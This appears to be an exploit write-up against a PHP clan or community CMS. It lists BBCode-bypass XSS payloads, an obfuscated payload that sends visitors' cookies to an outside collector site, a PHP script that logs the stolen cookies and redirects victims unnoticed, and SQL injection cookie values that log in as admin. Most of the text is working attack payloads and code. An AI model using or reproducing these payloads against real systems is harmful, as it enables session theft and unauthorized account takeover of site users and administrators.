COOKIES STEALING (BYPASS BBCODE)
//////////////////////////////////
(BBCode again...)
--------------
BUG ZONES:
--------------
#BBCode is bypassed by differents methods and XSS is posible.
#We find BBCode on these links:
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=mycontrolpanel&action=signature
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=forum
http://[HOST]/[PATH]/index.php?module=mymessages
--------------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
--------------------------------------
BOTH (FIREFOX AND IE):
[url][img]http://www.google.es onmouseover=alert(1) [/img][/url]
[email][img]pepe@pepe.es onmouseover=alert(1) [/img][/email]
[email][url]http://www.prueba.es onmouseover=alert(1) [/url][/email]
[url][email]pepe@pepe.es onmouseover=alert(1) [/email][/url]
..
ONLY IE:
[img][url]http://al.com onmouseover=alert(1) [/url][/img]
[img][email]pepe@pepe.es onmouseover=alert(1) [/email][/img]
..
Combinations of tags:
[email][url]http://owned.com onmouseover=alert(1) [/url][/mail]
Generate:
<a href="mailto:<a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1)
</a>"><a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) </a></a>
------------------------------
COOKIES EXPLOIT (BBCODE):
------------------------------
Link --> http://www.myphpcookiestealing.es/capturethecookies.php?ck=
[url][img]http://www.victim.es
onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,
119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,
110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,

101,61)+document.cookie
[/img][/url]
-----------------------------------
COOKIES STEALER (PHP SCRIPT):
-----------------------------------
<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--
EOF--\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.
php?module';</script>"; //Redirect...we don't want to alert xDD
?>
///////////////////////////////////
[COOKIE]AUTH BYPASS(SQL INJECTION)
///////////////////////////////////
----------------
CONDITIONS:
----------------
**(sometimes) DB_PREFIX="" (Default)
maybe: db, db_clan, ...
**gpc_magic_quotes=off
---------------
BUG FILE:
---------------
Path --> [HOME_PATH]/functions/class.accesscontrol.php
It contents:
function checkLogin()
{
if($_COOKIE['CCC_UID'] && $_COOKIE['CCC_CODE'])
{
$uid = $_COOKIE['CCC_UID'];
$logincode = $_COOKIE['CCC_CODE'];
$query = "SELECT * FROM " . DB_PREFIX . "members WHERE md5(id)='$uid' and logincode='$logincode'";
$results = $this->db->getrow($query);
if($results['username'])
{
....
}
}
}
-----------------------------------------
PROOF OF CONCEPT (SQL INJECTION):
-----------------------------------------
Add cookies:
CCC_UID=BLABLABLA //it is not use
CCC_CODE=BLABLA' [SQL]
---------
EXAMPLE:
---------
Add cookies: (only need gpc_magic_quotes=off)
CCC_UID=pepe //it is not use
CCC_CODE=lala' OR 1=1 /* //admin
Other example: (DB_PREFIX="" and gpc_magic_quotes=off)
CCC_UID=pepe //it is not use
CCC_CODE=lala' UNION ALL SELECT * FROM members WHERE id='1 //select first user= admin? to be other (id=2,3,4...)
